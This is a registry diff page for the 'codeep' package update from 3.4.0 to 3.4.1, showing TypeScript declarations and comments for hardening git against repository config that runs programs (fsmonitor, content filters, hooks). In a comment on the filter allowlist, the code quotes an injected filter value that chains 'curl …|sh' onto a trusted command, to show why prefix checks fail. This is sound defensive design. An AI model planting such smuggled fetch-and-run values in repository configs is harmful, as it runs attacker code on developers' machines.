codeep 3.4.0 → 3.4.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/acp/commands.d.ts +15 -0
- package/dist/acp/commands.js +30 -1
- package/dist/acp/server.js +237 -23
- package/dist/acp/session.d.ts +13 -2
- package/dist/acp/transport.d.ts +6 -0
- package/dist/acp/transport.js +98 -3
- package/dist/renderer/agentExecution.js +116 -69
- package/dist/renderer/commands.js +19 -3
- package/dist/renderer/main.d.ts +24 -0
- package/dist/renderer/main.js +57 -2
- package/dist/utils/agent.d.ts +17 -2
- package/dist/utils/agent.js +62 -5
- package/dist/utils/checkpoints.js +3 -0
- package/dist/utils/codeReview.js +28 -23
- package/dist/utils/git.d.ts +262 -4
- package/dist/utils/git.js +1928 -61
- package/dist/utils/gitHookInstaller.d.ts +32 -1
- package/dist/utils/gitHookInstaller.js +76 -8
- package/dist/utils/headlessReview.js +26 -5
- package/dist/utils/shell.d.ts +108 -0
- package/dist/utils/shell.js +364 -5
- package/dist/utils/telegramApproval.d.ts +10 -2
- package/dist/utils/telegramApproval.js +22 -4
- package/dist/utils/toolExecution.d.ts +41 -0
- package/dist/utils/toolExecution.js +357 -1
- package/dist/version.d.ts +1 -1
- package/dist/version.js +1 -1
- package/package.json +1 -1
package/dist/utils/git.d.ts
CHANGED
|
@@ -1,10 +1,41 @@
|
|
|
1
|
-
import { ActionLog } from './tools';
|
|
1
|
+
import type { ActionLog } from './tools';
|
|
2
2
|
export interface GitStatus {
|
|
3
3
|
isRepo: boolean;
|
|
4
4
|
branch?: string;
|
|
5
5
|
hasChanges?: boolean;
|
|
6
6
|
ahead?: number;
|
|
7
7
|
behind?: number;
|
|
8
|
+
/**
|
|
9
|
+
* Why there is no branch here — a GitHardeningError, or git itself failing.
|
|
10
|
+
* Declared because getGitStatus was already filling it through an
|
|
11
|
+
* `as GitStatus` cast that the compiler could not check: the field existed
|
|
12
|
+
* at runtime, nothing in the type said so, and the status line in
|
|
13
|
+
* renderer/main.ts reads `.branch` only — so a refusal showed up as the
|
|
14
|
+
* branch silently disappearing. Written for the user; show it where the
|
|
15
|
+
* branch would go.
|
|
16
|
+
*
|
|
17
|
+
* Every way git can fail lands here, including the ordinary ones. The
|
|
18
|
+
* commonest is a brand-new `git init` with no commit yet, where `git
|
|
19
|
+
* rev-parse --abbrev-ref HEAD` answers `fatal: ambiguous argument 'HEAD'`
|
|
20
|
+
* (git 2.54) — which is why nothing should put this in front of the user
|
|
21
|
+
* as an instruction. Use `refusal` for that.
|
|
22
|
+
*/
|
|
23
|
+
error?: string;
|
|
24
|
+
/**
|
|
25
|
+
* Set ONLY when the hardening refused to run git here, and never for an
|
|
26
|
+
* ordinary git failure. The message names the config key and the
|
|
27
|
+
* `git config --unset` that clears it, so it is the one the TUI shows
|
|
28
|
+
* verbatim (see gitRefusalNotice in renderer/main.ts).
|
|
29
|
+
*
|
|
30
|
+
* This field shipped dead in the first cut of the hotfix: main.ts read
|
|
31
|
+
* `status.refusal`, `GitStatus` never declared it and getGitStatus never
|
|
32
|
+
* set it, so the warning it exists to raise never fired once and the only
|
|
33
|
+
* symptom of a refused repository was the branch quietly vanishing from
|
|
34
|
+
* the header — the exact symptom that notice was written to remove. When
|
|
35
|
+
* this is set, `error` carries the same text, so callers that only know
|
|
36
|
+
* about `error` still say something useful.
|
|
37
|
+
*/
|
|
38
|
+
refusal?: string;
|
|
8
39
|
}
|
|
9
40
|
export interface GitDiffResult {
|
|
10
41
|
success: boolean;
|
|
@@ -17,8 +48,201 @@ export interface GitCommitResult {
|
|
|
17
48
|
error?: string;
|
|
18
49
|
}
|
|
19
50
|
/**
|
|
20
|
-
*
|
|
51
|
+
* Raised instead of handing git an environment that the config scan below
|
|
52
|
+
* could not finish building. Every caller in this file catches it and reports
|
|
53
|
+
* `error.message`, which is written for the user rather than for a log.
|
|
54
|
+
*/
|
|
55
|
+
export declare class GitHardeningError extends Error {
|
|
56
|
+
constructor(message: string);
|
|
57
|
+
}
|
|
58
|
+
/**
|
|
59
|
+
* The exact `filter.<driver>.{clean,smudge,process}` command lines that the
|
|
60
|
+
* well-known content-filter integrations write into a repository's own
|
|
61
|
+
* config. A repo-scope filter whose value is one of these is left RUNNING;
|
|
62
|
+
* every other one refuses the call (see the filter rule below).
|
|
63
|
+
*
|
|
64
|
+
* These are whole-value comparisons against a frozen list of literals, never
|
|
65
|
+
* a prefix or a substring test, and that is the point rather than a detail.
|
|
66
|
+
* Git runs a filter command through a shell, so `git-lfs clean -- %f; curl
|
|
67
|
+
* https://…|sh` STARTS WITH an allowlisted line and would sail through a
|
|
68
|
+
* `startsWith` check while doing something else entirely; `%f` in the middle
|
|
69
|
+
* of a longer value is the same hole for a substring check. Whole-value
|
|
70
|
+
* equality against literals also means "contains no shell metacharacter" is a
|
|
71
|
+
* property of this list rather than something that has to be re-checked at
|
|
72
|
+
* runtime — and the suite asserts that property so a future entry cannot
|
|
73
|
+
* quietly break it.
|
|
74
|
+
*
|
|
75
|
+
* These are the values with the program named BARE. The same integrations
|
|
76
|
+
* also spell the program as an absolute path, which is the machine's and not
|
|
77
|
+
* a string this file can pin — see isSafeContentFilterCommand(), which takes
|
|
78
|
+
* the basename apart and compares it against this same list.
|
|
79
|
+
*
|
|
80
|
+
* A spelling that is NOT accepted in any form: `"<abs path to python>" -m
|
|
81
|
+
* nbstripout`, which newer nbstripout installers write. Its program is
|
|
82
|
+
* `python`, so there is nothing to recognise in it — the argument tail is
|
|
83
|
+
* what says what it will do, and pinning `-m nbstripout` would pin a
|
|
84
|
+
* mechanism for running any module at all. Those repositories get the
|
|
85
|
+
* refusal and its `--unset`, which is the fail-closed half of the policy
|
|
86
|
+
* working as intended rather than an oversight.
|
|
87
|
+
*/
|
|
88
|
+
export declare const SAFE_CONTENT_FILTER_COMMANDS: ReadonlySet<string>;
|
|
89
|
+
/**
|
|
90
|
+
* Whether a repo-scope `filter.<driver>.{clean,smudge,process}` value is one
|
|
91
|
+
* of the well-known integrations — accepting the spelling that names the
|
|
92
|
+
* program by an ABSOLUTE PATH, which the frozen list above cannot hold.
|
|
93
|
+
*
|
|
94
|
+
* `/usr/local/bin/git-lfs filter-process` is what a `git lfs install` writes
|
|
95
|
+
* on a machine where git-lfs is not the one on PATH, and git-annex writes the
|
|
96
|
+
* same shape. Those are ordinary working repositories, and the whole-value
|
|
97
|
+
* list refused every git call in them — the fail-closed policy landing on the
|
|
98
|
+
* integrations it was written to keep running.
|
|
99
|
+
*
|
|
100
|
+
* What is compared is the program's BASENAME plus the argument tail EXACTLY
|
|
101
|
+
* as the literal spells it, so every property of the list survives the
|
|
102
|
+
* relaxation. `/usr/local/bin/git-lfs clean -- %f; curl …|sh` fails on its
|
|
103
|
+
* bytes before anything is compared; `… clean -- %f --extra` and `…
|
|
104
|
+
* FILTER-PROCESS` produce a tail that is not in the list; a leading command
|
|
105
|
+
* puts something other than an absolute path in the first word. There is no
|
|
106
|
+
* prefix matching anywhere in here, in either half.
|
|
107
|
+
*
|
|
108
|
+
* And the path has to name the program PATH ALREADY RESOLVES that basename
|
|
109
|
+
* to, which is the check that keeps this from being a way in. Without it the
|
|
110
|
+
* repository picks the program: it ships an executable called `git-lfs` — or
|
|
111
|
+
* `cat`, which is on the list with no arguments at all — points the filter at
|
|
112
|
+
* its own checkout, and git runs it. That is not a relaxation of the
|
|
113
|
+
* allowlist, it is the end of it. With it, an absolute path can only name the
|
|
114
|
+
* same file the bare spelling on the list would have run anyway, so the
|
|
115
|
+
* repository gains nothing by writing it out.
|
|
116
|
+
*
|
|
117
|
+
* `env` is the environment the REAL git call will run under, so the PATH
|
|
118
|
+
* asked here is the PATH the shell git spawns would search.
|
|
119
|
+
*/
|
|
120
|
+
export declare function isSafeContentFilterCommand(value: string, env: NodeJS.ProcessEnv): boolean;
|
|
121
|
+
/**
|
|
122
|
+
* Whether `<key>=<value>` is a config key that makes git RUN a program.
|
|
123
|
+
*
|
|
124
|
+
* Exported for utils/shell.ts, which has to answer the same question about a
|
|
125
|
+
* `git -c <key>=<value>` an agent typed. Keeping one answer is the point:
|
|
126
|
+
* these are exactly the keys this file spends its length neutralising, and a
|
|
127
|
+
* second hand-written list in the command validator would drift away from
|
|
128
|
+
* this one the first time a rule is added here.
|
|
129
|
+
*
|
|
130
|
+
* Both halves matter. GIT_EXECUTING_CONFIG is the always-on set, so a `-c
|
|
131
|
+
* core.fsmonitor=<program>` would otherwise WIN — git reads its own `-c`
|
|
132
|
+
* after the GIT_CONFIG_* pairs (verified, git 2.54). REPO_EXECUTING_RULES is
|
|
133
|
+
* the scope-aware set, and `-c` is not a scope the scan can see at all.
|
|
21
134
|
*/
|
|
135
|
+
export declare function isExecutingConfigKey(key: string): boolean;
|
|
136
|
+
/**
|
|
137
|
+
* How many submodule configs one call will read, and how far the enumeration
|
|
138
|
+
* follows submodules of submodules.
|
|
139
|
+
*
|
|
140
|
+
* Both are bounds on a tree the REPOSITORY owns — a checkout can declare as
|
|
141
|
+
* many submodules, nested as deeply, as whoever prepared it liked. Past
|
|
142
|
+
* either one the call is REFUSED rather than partly scanned: "we looked at
|
|
143
|
+
* some of your submodules" is a fail-open dressed as a limit. Every other
|
|
144
|
+
* bound in this pass throws for the same reason, which is the half that used
|
|
145
|
+
* to be missing — the depth guard and the directory-read failure both used
|
|
146
|
+
* to `return`, so a tree nested one level too deep, or a `.git/modules` we
|
|
147
|
+
* had no permission to read, silently became "this repository has no
|
|
148
|
+
* submodules".
|
|
149
|
+
*
|
|
150
|
+
* The count was 512, and that was a wall rather than a backstop: a
|
|
151
|
+
* superproject past it was refused forever, with a message naming nothing
|
|
152
|
+
* the user could change. 2048 is an order of magnitude past the largest real
|
|
153
|
+
* superproject, so only a tree built to reach it does. It is not raised
|
|
154
|
+
* further because every config read is one more `-c include.path=` argument
|
|
155
|
+
* on one command line, and a Windows command line stops at 32KB; and the
|
|
156
|
+
* message now names the two things that get the user moving again.
|
|
157
|
+
*/
|
|
158
|
+
export declare const MAX_SUBMODULE_CONFIGS = 2048;
|
|
159
|
+
export interface HardenedGitEnvOptions {
|
|
160
|
+
/**
|
|
161
|
+
* The repository the git call will run in — the same `cwd` the spawn gets.
|
|
162
|
+
* Its config is scanned so repo-supplied programs can be neutralised, so a
|
|
163
|
+
* caller that passes the wrong one gets the wrong repository's protection.
|
|
164
|
+
*/
|
|
165
|
+
cwd?: string;
|
|
166
|
+
/**
|
|
167
|
+
* Disable the repository's hooks. Only for the commands Codeep runs BY
|
|
168
|
+
* ITSELF — status, diff, rev-parse, show, ls-files, log — where the user
|
|
169
|
+
* never asked for a hook to run. Commands the user triggered (`/commit`,
|
|
170
|
+
* `/git-commit`, the agent auto-commit, a branch switch) leave it false, so
|
|
171
|
+
* lint-staged, commit-signing hooks and Codeep's own review hook run
|
|
172
|
+
* exactly as they would in the user's terminal.
|
|
173
|
+
*
|
|
174
|
+
* What justifies leaving them on is the approval, not a claim that a hook
|
|
175
|
+
* cannot get onto disk. The user asked for this commit or this checkout, so
|
|
176
|
+
* the repository's hooks run for it exactly as they would if they had typed
|
|
177
|
+
* the command themselves — and that is the whole argument. The write gate
|
|
178
|
+
* in utils/toolExecution.ts raises a confirmation for a hook a MODEL writes
|
|
179
|
+
* with write_file; it does not, and does not claim to, cover a shell
|
|
180
|
+
* command the user approved, where `node setup.cjs`, `cp`, `tee` or a
|
|
181
|
+
* redirect writes the same file with nothing to prompt about (reproduced
|
|
182
|
+
* twice against git 2.54). See the comment above that gate, which says the
|
|
183
|
+
* same thing from the other side.
|
|
184
|
+
*/
|
|
185
|
+
noHooks?: boolean;
|
|
186
|
+
/**
|
|
187
|
+
* The environment to harden, defaulting to this process's. A caller with
|
|
188
|
+
* its own overrides must pass them HERE rather than spreading them over the
|
|
189
|
+
* result: their `GIT_CONFIG_COUNT` would replace ours and silently drop
|
|
190
|
+
* every override above their count.
|
|
191
|
+
*/
|
|
192
|
+
base?: NodeJS.ProcessEnv;
|
|
193
|
+
}
|
|
194
|
+
/**
|
|
195
|
+
* The environment for a git child process, with every command-executing config
|
|
196
|
+
* key neutralised. Pass it to EVERY git spawn — including the read-only ones:
|
|
197
|
+
* `git status` is the call that runs `core.fsmonitor` and a `filter.<d>.clean`.
|
|
198
|
+
*
|
|
199
|
+
* It costs one `git config --list` plus one `git ls-files` per call —
|
|
200
|
+
* measured 13.6ms here in a plain repository at its root, 19.7ms in one with
|
|
201
|
+
* a submodule, 28.3ms with fifty of them and 47.7ms in a 100k-file checkout
|
|
202
|
+
* with none (see listSubmoduleConfig for where each part goes, and for why
|
|
203
|
+
* the index is read even in a repository that declares no submodules) — so build
|
|
204
|
+
* it ONCE per function and hand the same object to every spawn inside. There is
|
|
205
|
+
* deliberately no cache across calls: the scan's whole job is to notice what
|
|
206
|
+
* the repository's config says RIGHT NOW, and a hostile `.git/config` written
|
|
207
|
+
* after a cache warmed would be the one it failed to neutralise. Nothing needs
|
|
208
|
+
* one either — the only repeated caller, the status-line branch in
|
|
209
|
+
* renderer/main.ts, already caches its own result and re-reads only when the
|
|
210
|
+
* project moved or an agent run finished.
|
|
211
|
+
*
|
|
212
|
+
* Environment variables are the USER's, not the repository's, so this removes
|
|
213
|
+
* exactly one and leaves the rest:
|
|
214
|
+
*
|
|
215
|
+
* - `GIT_CONFIG_PARAMETERS` is deleted. Git reads it AFTER the
|
|
216
|
+
* `GIT_CONFIG_COUNT` pairs and it wins, which silently disables this whole
|
|
217
|
+
* function (verified). Nothing sets it but git itself, for its own children.
|
|
218
|
+
* - `GIT_EXTERNAL_DIFF`, `GIT_SSH_COMMAND`, `GIT_ASKPASS`, `GIT_PROXY_COMMAND`
|
|
219
|
+
* name programs, but ones the user exported for their own git. Codeep's diff
|
|
220
|
+
* reads pass `--no-ext-diff`, which beats `GIT_EXTERNAL_DIFF` anyway.
|
|
221
|
+
* - `GIT_DIR`, `GIT_WORK_TREE`, `GIT_INDEX_FILE`, `GIT_COMMON_DIR` are kept
|
|
222
|
+
* because a hook exports them: the pre-commit hook Codeep installs runs
|
|
223
|
+
* `codeep review`, and `git diff --cached` there must read the hook's
|
|
224
|
+
* TEMPORARY index to see what is really being committed.
|
|
225
|
+
* - `GIT_CONFIG_GLOBAL` / `GIT_CONFIG_SYSTEM` / `GIT_ALTERNATE_OBJECT_DIRECTORIES`
|
|
226
|
+
* are kept: the scan above runs under this same environment, so it sees
|
|
227
|
+
* whatever they make git see.
|
|
228
|
+
*
|
|
229
|
+
* Anyone who can set environment variables on this process already owns it.
|
|
230
|
+
*
|
|
231
|
+
* THROWS `GitHardeningError` rather than return a half-built environment when
|
|
232
|
+
* the config scan cannot complete, or when the repository named a program no
|
|
233
|
+
* override can switch off. The scan used to swallow every error and fall back
|
|
234
|
+
* to the always-on pairs alone, so a repository that padded its `.git/config`
|
|
235
|
+
* past the read buffer turned the entire repo-scope layer off in silence and
|
|
236
|
+
* ran its `filter.<d>.clean` on the next `git status`. Every caller in this
|
|
237
|
+
* file catches it and degrades: the status line loses its branch, `/commit`,
|
|
238
|
+
* `@git` and the review path show `error.message`, which is written for the
|
|
239
|
+
* user. A NEW caller has to do the same, or the refusal reaches them as a
|
|
240
|
+
* crash — and a caller inside a promise executor that does not catch it never
|
|
241
|
+
* settles at all.
|
|
242
|
+
*/
|
|
243
|
+
export declare function hardenedGitEnv(options?: HardenedGitEnvOptions): NodeJS.ProcessEnv;
|
|
244
|
+
/** A repository whose git Codeep is willing to run. Refusals answer `false`;
|
|
245
|
+
* callers that can show a reason use the functions below, which carry it. */
|
|
22
246
|
export declare function isGitRepository(cwd?: string): boolean;
|
|
23
247
|
/**
|
|
24
248
|
* Get current git status
|
|
@@ -28,8 +252,25 @@ export declare function getGitStatus(cwd?: string): GitStatus;
|
|
|
28
252
|
* Get git diff (staged or unstaged)
|
|
29
253
|
*/
|
|
30
254
|
export declare function getGitDiff(staged?: boolean, cwd?: string): GitDiffResult;
|
|
255
|
+
export interface GitChangedFilesResult {
|
|
256
|
+
files: string[];
|
|
257
|
+
/**
|
|
258
|
+
* Why the list is empty because git would not run, rather than because
|
|
259
|
+
* nothing changed. The two read the same through getChangedFiles() below,
|
|
260
|
+
* and a caller that gates work on "are there changes?" — the review
|
|
261
|
+
* pipeline in utils/codeReview.ts does — would otherwise quietly review
|
|
262
|
+
* nothing in a repository whose config Codeep refuses to run git in.
|
|
263
|
+
*/
|
|
264
|
+
error?: string;
|
|
265
|
+
}
|
|
266
|
+
/**
|
|
267
|
+
* Get list of changed files, with the reason when there are none.
|
|
268
|
+
*/
|
|
269
|
+
export declare function getChangedFilesResult(cwd?: string): GitChangedFilesResult;
|
|
31
270
|
/**
|
|
32
|
-
* Get list of changed files
|
|
271
|
+
* Get list of changed files. Empty on any failure — see
|
|
272
|
+
* getChangedFilesResult() when the difference between "nothing changed" and
|
|
273
|
+
* "git was refused" matters.
|
|
33
274
|
*/
|
|
34
275
|
export declare function getChangedFiles(cwd?: string): string[];
|
|
35
276
|
/**
|
|
@@ -41,7 +282,24 @@ export declare function suggestCommitMessage(diff: string): string;
|
|
|
41
282
|
*/
|
|
42
283
|
export declare function createCommit(message: string, cwd?: string): GitCommitResult;
|
|
43
284
|
/**
|
|
44
|
-
* Stage all changes
|
|
285
|
+
* Stage all changes, with the reason when it did not happen.
|
|
286
|
+
*
|
|
287
|
+
* The reason matters most in a repository with a REQUIRED content filter —
|
|
288
|
+
* git-crypt, git-lfs, any repo-local `filter.<d>.required = true`. The
|
|
289
|
+
* repo-scope layer empties that driver's `clean` command and deliberately
|
|
290
|
+
* leaves `required` alone, so git aborts with `fatal: <file>: clean filter
|
|
291
|
+
* '<d>' failed` and exit 128 rather than writing the unfiltered content. That
|
|
292
|
+
* is the intended outcome (see the filter rule above: the alternative was
|
|
293
|
+
* plaintext secrets in the object database), and it is only useful if the
|
|
294
|
+
* user gets to read it — `stdio: 'ignore'` here used to throw the sentence
|
|
295
|
+
* away and leave them with "Failed to stage changes".
|
|
296
|
+
*/
|
|
297
|
+
export declare function stageAllResult(cwd?: string): {
|
|
298
|
+
success: boolean;
|
|
299
|
+
error?: string;
|
|
300
|
+
};
|
|
301
|
+
/**
|
|
302
|
+
* Stage all changes. See stageAllResult() when the reason matters.
|
|
45
303
|
*/
|
|
46
304
|
export declare function stageAll(cwd?: string): boolean;
|
|
47
305
|
/**
|